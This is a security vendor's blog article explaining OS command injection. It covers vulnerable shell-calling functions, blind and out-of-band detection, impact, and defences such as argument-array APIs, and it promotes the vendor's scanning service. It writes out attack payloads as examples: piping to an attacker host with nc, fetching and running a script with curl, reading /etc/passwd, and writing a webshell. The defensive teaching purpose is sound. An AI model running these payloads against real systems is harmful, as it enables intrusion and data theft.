Command injection happens when an application passes unsanitised user input into a system shell call, letting an attacker append their own operating system commands to the one the developer intended. The result is often full remote code execution (RCE) — the attacker's command runs with the same privileges as the vulnerable application, which on a misconfigured server can mean reading /etc/passwd, dropping a reverse shell, or pivoting into the internal network. It is distinct from SQL injection (which targets a database) and XSS (which targets a browser) because the payload is interpreted directly by the host operating system.
For Indian engineering teams building on Node, Python, PHP, or Java and shipping features that touch the filesystem, image processing, PDF generation, network utilities, or DevOps tooling, command injection remains one of the most damaging — and most preventable — vulnerability classes found in penetration tests today.
How Unsanitised Input Reaches the Shell
The vulnerability is almost always introduced through a convenience function: a call that hands a string to the operating system's shell interpreter (/bin/sh on Linux, cmd.exe on Windows) instead of executing a program directly. Common culprits across languages:
- Node.js:
child_process.exec(),execSync() - Python:
os.system(),subprocess.run(..., shell=True),os.popen() - PHP:
shell_exec(),system(),exec(),passthru(), backticks - Java:
Runtime.getRuntime().exec()when passed a single concatenated string - Ruby: `
backticks,system(),Kernel#exec` with shell interpolation
// Vulnerable Node.js example
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
exec(`ping -c 4 ${req.query.host}`, (err, stdout) => {
res.send(stdout);
});
});A legitimate request supplies host=example.com. An attacker instead supplies host=example.com; cat /etc/passwd — and because the string is handed to a shell, the semicolon terminates the first command and starts a second one that the developer never intended to run.
Chaining and Metacharacter Operators
Shell interpreters treat certain characters as control operators rather than literal text. An attacker who finds an injection point uses these to append, chain, or substitute commands:
| Operator | Shell behaviour | Example payload | ||||
|---|---|---|---|---|---|---|
; | Runs next command regardless of the first's result | host=x; whoami | ||||
&& | Runs next command only if the first succeeds | host=x && curl evil.tld/x.sh\ | sh | |||
\ | \ | Runs next command only if the first fails | host=invalid \ | \ | id | |
\ | Pipes output of first command into second | host=x \ | nc attacker.tld 4444 | |||
` or $() | Command substitution — output is inlined | host=whoami ` | ||||
& | Backgrounds a command (Windows/Unix) | host=x & net user | ||||
> < | Redirects output/input, can overwrite files | host=x > /var/www/shell.php |
Blind vs In-Band Command Injection
In-band (visible) injection is easiest to find: the application returns the command's output directly in the HTTP response, as in the ping example above, confirming the vulnerability immediately.
Blind command injection is more common in production, where output is not reflected back. The attacker relies on out-of-band signals instead:
- Time-based: inject
; sleep 10and measure whether the response takes ~10 seconds longer than baseline — a reliable signal with zero visible output. - Out-of-band (OOB): inject a command that forces an outbound request to an attacker-controlled domain, e.g. `
; curl http://$(whoami).attacker-collab.net. Tools like Burp Collaborator orinteractsh` are built to catch these callbacks. - File-write confirmation: write a uniquely named file to a web-accessible directory, then request it directly to confirm execution.
Know your vulnerabilities before attackers do
Run a free VAPT scan — takes 5 minutes, no signup required.
Book Your Free ScanReal Impact: From Injection to RCE
Once command execution is confirmed, the practical impact typically escalates through these stages:
- Reconnaissance —
whoami,id,uname -ato fingerprint the box and privilege level. - Foothold — drop a reverse shell for interactive access instead of one-shot commands.
- Privilege escalation — check for misconfigured
sudorights, writable cron jobs, or exposed cloud metadata endpoints that leak IAM credentials. - Lateral movement — read secrets and
.envfiles on the same host; pivot to internal services the internet cannot reach. - Persistence and exfiltration — add SSH keys or webshells; exfiltrate customer data.
Injection Vulnerability Class Share
Command injection sits alongside SQL injection and XSS as a recurring category among injection-class findings in web application penetration tests. The illustrative split below reflects the relative frequency typically seen across these classes, not a single cited report:
Discovery Methodology
A structured approach for finding command injection during code review or manual testing:
- Map the attack surface — identify every feature that could plausibly shell out: diagnostics, image/PDF conversion, file compression, backup/export tools, DevOps webhooks, and any "run this on the server" admin feature.
- Trace data flow — follow input from the HTTP layer to where it is consumed. If it reaches
exec,system,popen,Runtime.exec, or a shell-invoking library function, flag it. - Test with safe probes first — time-based payloads (
; sleep 5) rather than destructive ones; a 5-second delay is a strong, low-risk confirmation signal. - Escalate to OOB confirmation — for blind cases with no visible timing difference, use an out-of-band collaborator domain to catch DNS/HTTP callbacks.
- Check library-mediated calls too — frameworks for image, PDF, and archive handling often shell out internally, so a vulnerable dependency can introduce this bug without the application code ever calling
execdirectly.
exec/system/shell_exec with variable input, but they routinely miss injection reached through a third-party library. Pair SAST with a manual review of every dependency that touches files, images, or external binaries — and confirm exploitability with dynamic testing rather than trusting the static finding alone.Defence: Eliminate the Shell, Don't Just Sanitise the Input
Blacklisting dangerous characters is a losing game — shell metacharacter sets are large, platform-dependent, and easy to miss an edge case in. The reliable fix removes the shell from the equation entirely.
- Avoid shelling out wherever possible. Use a language-native library instead of a wrapped OS command. Need to resize an image? Use an image-processing library, not a
convertshell call. Need to check a hostname? Use DNS resolution APIs, not a wrappedping. - When you must run an external process, use argument-array APIs — never string concatenation. These pass arguments directly to the process without an intermediate shell parsing them, so shell metacharacters lose their special meaning.
execFile(cmd, [arg1, arg2]) or spawn(cmd, [arg1, arg2]) instead of exec()
- Python: subprocess.run([cmd, arg1, arg2], shell=False) — never shell=True with untrusted input
- Java: Runtime.exec(String[] cmdArray) with each argument as a separate array element
- PHP: escapeshellarg() on every argument at minimum, but prefer avoiding shell_exec entirely
- Allow-list, don't deny-list, input values. If a parameter should only ever be one of a known set of values (a country code, a file format, a predefined action), validate against that exact allow-list and reject everything else — don't try to strip "bad" characters from free text.
- Never let user input control the command name or path itself, only validated arguments. Letting input choose which binary runs is a separate, equally dangerous mistake.
- Run with least privilege. If a process must shell out, run it as a low-privilege service account with no access to secrets, other users' files, or the internal network — so a missed injection point has a contained blast radius.
- Sandbox where feasible. Containerise or use OS-level sandboxing (seccomp, AppArmor, gVisor) for any feature that processes untrusted files or invokes external tools, limiting what a successful injection can actually reach.
Fixed Example
// Safe: execFile with an argument array, no shell involved
const { execFile } = require('child_process');
const ALLOWED_HOSTS = /^[a-zA-Z0-9.-]+$/;
app.get('/ping', (req, res) => {
const host = req.query.host;
if (!ALLOWED_HOSTS.test(host)) return res.status(400).send('Invalid host');
execFile('ping', ['-c', '4', host], (err, stdout) => {
res.send(stdout);
});
});execFile passes host as a discrete argument to the ping binary — there is no shell to interpret ;, |, or ` `` as control operators, so injection payloads are treated as literal (and here, rejected) hostname text.
Where This Fits in a Broader Security Programme
Command injection findings surface repeatedly in penetration tests against internal admin tools, DevOps dashboards, and legacy features that predate a team's current security review process — precisely because they are easy to miss in a quick manual code read and easy to overlook in automated scans tuned mainly for SQLi and XSS. A structured VAPT engagement that specifically probes file-handling, diagnostic, and export features — including blind, time-based, and OOB confirmation techniques — catches these before an attacker does. Dhisattva AI Pvt Ltd built its automated VAPT platform for Indian dev teams to run exactly this class of check on every scan. For organisations handling personal data under the DPDP Act, an RCE from command injection is also a reportable security incident with compliance consequences; see our DPDP compliance guide for what that obligation looks like in practice.
Running a free VAPT scan against your application surfaces command injection and related OS-level flaws before they reach production, and further reading is available on the Bachao.AI blog.
Checklist for Dev Teams
| Control | Why it matters |
|---|---|
No exec/system/shell_exec with concatenated strings | Removes the shell interpretation layer entirely |
| Argument-array APIs for all external process calls | Metacharacters lose special meaning as literal arguments |
| Allow-list validation on any input reaching a process call | Rejects unexpected values outright, not just "bad" characters |
| Least-privilege service accounts for shelling processes | Contains blast radius if a bypass is found |
| Dependency review for libraries that wrap external binaries | Catches injection introduced by third-party code |
| Regular VAPT covering file/export/diagnostic features | Finds blind and OOB injection automated scanners miss |
Frequently Asked Questions
Frequently Asked Questions
What is the difference between command injection and SQL injection?
Can command injection happen without directly calling exec or system?
How do you test for blind command injection safely?
; sleep 5 to an input field and measuring response delay against a baseline — a reliable, low-risk confirmation signal. For asynchronous or non-blocking code paths, use an out-of-band collaborator domain to catch DNS or HTTP callbacks triggered by the injected command.Is input validation enough to prevent command injection?
Which languages are most affected by command injection?
exec), Python (os.system, subprocess with shell=True), PHP (shell_exec, system), Java (Runtime.exec with a single string), and Ruby (backticks, system). The vulnerability is a pattern, not a language-specific bug.